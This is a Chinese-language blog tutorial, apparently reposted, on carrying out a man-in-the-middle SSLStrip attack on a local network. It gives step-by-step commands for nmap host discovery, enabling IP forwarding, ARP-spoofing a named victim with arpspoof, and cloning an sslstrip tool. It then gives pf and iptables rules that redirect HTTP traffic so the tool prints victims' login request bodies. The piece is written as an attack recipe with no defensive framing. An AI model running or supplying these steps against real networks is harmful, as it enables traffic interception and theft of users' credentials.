如何进行一次完整的 SSLStrip 攻击

如何进行一次完整的 SSLStrip 攻击本文将介绍在局域网内,如何监听受害者流量并通过 SSLstrip 攻击获取敏感信息,分为如下两步: 1.中间人攻击,监听受害者流量 2.SSLStrip 攻击, 获取敏感信息

简介

本文将介绍在局域网内,如何监听受害者流量并通过 SSLstrip 攻击获取敏感信息,分为如下两步:

  1. 中间人攻击,监听受害者流量
  2. SSLStrip 攻击, 获取敏感信息

中间人攻击

中间人攻击(man-in-the-middle),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如主机B需要给主机A(IP为192.168.1.100)发送数据,为了知道谁是主机A,首先主机B发送一个广播包给网内所有机器“谁是192.168.1.10”,正常情况其他机器忽略该消息,仅主机A回复“我是192.168.1.10”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

攻击准备

mac 下准备
  1. 安装 macports 官网
  2. 更新 macports sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网
linux 下准备
  1. 安装 dsniff sudo apt-get install dsniff
  2. 安装 nmap sudo apt-get install nmap

攻击步骤

一、寻找目标

使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.16.1/24”表示扫描”192.168.16.1-192.168.16.254″这个网段的所有机器。

二、开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法

mac 下:

sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

三、ARP 欺骗

假设被攻击的 IP 是 192.168.16.134,局域网的网关是 192.168.16.1,攻击电脑使用的网卡接口是 en0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

arpspoof -i en0 -t 192.168.16.134 192.168.16.1

四、分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 wireshark 软件来分析数据。

至此,中间人攻击完成,接下来可以开始进行 SSLstrip 攻击。

SSLStrip 攻击

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理

  1. 通过中间人攻击监听 http 流量(自己试验可以通过设置 http 代理)
  2. 更改重定向链接中的 location,替换 https 为 http,并记录
  3. 更改响应内容中的超链接,替换 https 为 http,并记录
  4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息

攻击准备

  1. 监听 http 流量
  2. 获取攻击代码 git clone git@github.com:zsky/sslstrip.git
  3. 安装 nodeJs

攻击步骤

一、运行程序

命令行进入 sslstrip 程序的根目录,输入命令 node index.js
可以看到程序监听的端口号,比如 8080

二、把流量导入到 sslstrip 程序

mac 下 (修改 mac 的packet filter):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    其中最后面的端口号(比如上面的 8080)就是 ssltrip 程序监听的端口号

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    比如 /etc/pf.conf 修改后可能是这样:

     #
     # com.apple anchor point
     #
     scrub-anchor "com.apple/*"
     nat-anchor "com.apple/*"
     rdr-anchor "com.apple/*"
     rdr-anchor "http-forwarding"
     dummynet-anchor "com.apple/*"
     anchor "com.apple/*"
     load anchor "com.apple" from "/etc/pf.anchors/com.apple"
     load anchor "http-forwarding" from "/etc/pf.anchors/http"
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

linux 下(修改 ip 转发表):
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
其中最后面的端口号(比如上面的 8080)就是 sslstrip 程序监听的端口号

如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1
查看 ip 转发表: iptables -t nat -L

三、观察 sslstrip 程序控制台

此时监听的数据会通过 sslstrip 程序,程序默认会把本应是 https 的post 请求(比如登录之类的请求)的数据体打印到控制台

今天的文章如何进行一次完整的 SSLStrip 攻击分享到此就结束了,感谢您的阅读。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/13776.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注